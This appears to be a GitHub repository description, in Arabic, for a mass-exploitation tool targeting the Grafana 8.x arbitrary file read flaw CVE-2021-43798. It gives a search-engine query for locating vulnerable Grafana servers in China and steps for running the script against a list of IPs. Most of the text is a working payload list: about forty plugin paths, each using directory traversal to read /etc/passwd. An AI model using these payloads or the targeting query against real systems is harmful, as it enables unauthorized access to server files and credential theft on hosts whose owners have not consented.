fanygit/grafana-cve-2021-43798expنص استغلال جماعي متعدد الخيوط لثغرة قراءة الملفات التعسفية في Grafana (CVE-2021-43798). يؤتمت حمولات اجتياز المسار لاستخراج ملفات الخادم الحساسة من مثيلات Grafana الضعيفة.
Grafana هي حزمة تحليل وقياس مفتوحة المصدر. تُستخدم غالبًا لتصور بيانات السلاسل الزمنية للبنية التحتية وتحليل التطبيقات، كما تُستخدم على نطاق واسع في مجالات أخرى بما في ذلك أجهزة الاستشعار الصناعية، وأتمتة المنزل، والطقس، والتحكم في العمليات. يحتوي الإصدار 8.* على ثغرة أمنية لقراءة الملفات التعسفية، وهي حاليًا ثغرة من نوع 0day، حيث يمكن للمهاجم غير الموثَّق استغلالها للحصول على ملفات حساسة من الخادم.
app="Grafana" && country="CN" && body="v8."
1. ضع عنوان IP المراد فحصه في ملف ip.txt
2. قم بتشغيل python3 Grafana-CVE-2021-43798Exp
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd
